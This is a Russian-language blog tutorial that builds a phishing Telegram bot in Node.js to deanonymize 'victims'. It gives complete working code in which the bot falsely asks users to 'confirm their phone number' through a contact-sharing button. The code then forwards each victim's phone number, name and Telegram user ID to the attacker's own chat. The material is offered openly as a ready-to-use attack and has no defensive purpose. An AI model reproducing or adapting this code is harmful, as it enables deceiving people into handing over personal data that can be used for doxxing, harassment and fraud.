October 30, 2020

Собственный бот деанонимайзер!

Всем привет! Сегодня мы создадим простого Фишинг Телеграм Бота на Node.Js который будет запрашивать номер телефона жертвы, а затем пересылать его нам - таким образом можно сдеанонить жертву

Подготовка:

Для начала необходимо установить Node.js Current версии.

При установке оставляем все по дефолту и перезагружаем компьютер.

После установки Node.Js и перезагрузки компьютера создаем папку с проектом в папке с Node.Js, а также создаем файл index.js уже в папке именно проекта

Открываем Node.Js command prompt, заходим в папку с нашим ботом, и после прописываем следующие команды:

npm init -y
npm i node-telegram-bot-api

После установки структура файлов будет выглядеть так:

Получаем Токен:

  1. Пишем /start Телеграм боту @BotFather
  2. Пишем /newbot
  3. Пишем имя бота, затем username
  4. Профит! Мы получили Токен!

Начинаем прогать:

  1. Подключаем установленную библиотеку:
const TelegramBot = require("node-telegram-bot-api");

2. Создаем переменную TOKEN - которая будет хранить Токен бота:

const TOKEN = "Ваш Токен"

3. И создаем самого бота для дальнейших действий:

const bot = new TelegramBot(TOKEN, {polling: true});

Первое значение - это Токен, второе это настройки, но лучше оставить так как я написал

4. Теперь давайте сделаем чтобы на текст /start бот просил якобы "Подтвердить номер телефона":

bot.onText(/\/start/, function(msg) {
const id = msg.chat.id; // id это ID чата, чтобы отправлять сообщение именно пользователю который это написал
bot.sendMessage(id, `Подтвердите свой номер телефона`) // Отправляем сообщение написавшей жертве
});

Для того чтобы скрипт запустился, необходимо запустить Node.js command prompt, командами cd перейти в нашу папку и написать:

node index.js

После написания команды, выскочит предупреждение, но оно вылазит всегда

P.S: После каждого обновления скрипта необходимо перезапускать бота в Node.Js command prompt

Теперь пишем боту:

Как видите он и правда отвечает, теперь сделаем красивую клавиатуру, и чтобы после ее нажатия злоумышленнику (То есть нам) приходил контакт собеседника:

bot.onText(/\/start/, function(msg) {
const id = msg.chat.id; // id - это ID чата, чтобы отправлять сообщение именно пользователю который это написал
console.log(id); // Нам надо также запомнить chat_id с нами, это потребуется в будующем
bot.sendMessage(id, `Подтвердите свой номер телефона`, {
reply_markup: { // Отправляем также клавиатуру
keyboard: [[{
text: "Подтвердить телефон", // Текст который будет на клавиатуре
request_contact: true // Будем ли мы запрашивать контакт
}]]
}
})
});

Перезапускаем наш скрипт:

Ctrl + c
node index.js

И действительно, теперь юзер отправляет боту свой номер телефона по кнопке, осталось сделать чтобы он пересылался нам (Злоумышленнику)

Теперь также мы знаем Chat ID "админа" (То есть нас) - Куда бот будет отправлять контакт

Остался последний шаг, проводим корректировки:

const admin = "Ваш чат ID";
bot.on("contact", function(msg) {
bot.sendMessage(admin, "Телефонный номер:" + msg.contact.phone_number);
bot.sendMessage(admin, "Имя:" + msg.contact.first_name);
bot.sendMessage(admin, "Фамилия:" + msg.contact.last_name);
bot.sendMessage(admin, "User ID:" + msg.contact.user_id);
});

Практика:

Вот как видит жертва:

А вот что получает злоумышленник:

Ссылки:

Посмотреть весь код вы можете в моем репозитории на Github.

Спасибо за прочтение!